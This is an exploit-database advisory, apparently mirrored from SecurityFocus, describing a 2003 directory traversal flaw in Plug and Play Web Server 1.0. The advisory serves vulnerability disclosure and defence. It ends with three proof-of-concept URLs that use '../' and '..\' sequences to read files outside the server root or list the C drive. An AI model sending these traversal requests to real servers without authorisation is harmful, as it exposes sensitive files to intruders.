Plug and Play Web Server 1.0 002c - Directory Traversal



EKU-ID: 28612 CVE: OSVDB-2164 OSVDB-ID:
Author: Bahaa Naamneh Published: 2003-09-18 Verified: Verified
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source: https://www.securityfocus.com/bid/8645/info

It has been reported that Plug and Play Web Server is prone a directory traversal issue allowing a remote attacker to traverse outside the server root directory by using '../' or '..\' character sequences.

Successful exploitation of this vulnerablity may allow a remote attacker to gain access to sensitive information, which may be used to mount further attacks against a vulnerable system.

http://www.example.com/../../existing_file
http://www.example.com\..\..\existing_file
http://www.example.com/../../ [show the files and the folders in C drive - if the 'Show Directory list when homepage does not exist' option is active.]